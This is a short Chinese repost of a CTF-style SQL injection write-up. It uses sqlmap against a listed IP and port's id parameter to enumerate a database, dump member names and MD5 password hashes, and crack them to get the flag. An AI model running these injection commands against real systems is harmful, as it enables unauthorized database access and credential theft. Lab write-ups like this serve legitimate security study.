本文共 605 字，大约阅读时间需要 2 分钟。

题目： 背景介绍

所以从这里的URL入手，存在注入点

利用sqlmap注入：

1. sqlmap.py -u url --current-db 获取到的数据库名是stormgroup

sqlmap.py -u http://219.153.49.228:42218/new_list.php?id=1 --current-db

2. sqlmap.py -u url -D 获取到的数据名 --tables 获取到的表是member和notice

sqlmap.py -u http://219.153.49.228:42218/new_list.php?id=1 -D stormgroup --table

3. sqlmap.py -u url -D 获取到的数据库名 -T 获取到的表名 --columns 获取到的列名分别是 name password status

sqlmap.py -u http://219.153.49.228:42218/new_list.php?id=1 -D stormgroup -T member --columns

4. 接下来就不断按回车，最后出现name和password，有两个所以要分别尝试（password需要通过MD5解码才行）：
   

提交得到KEY

转载地址：https://leo-max.blog.csdn.net/article/details/104235489 如侵犯您的版权，请留言回复原文章的地址，我们会给您删除此文章，给您带来不便请您谅解！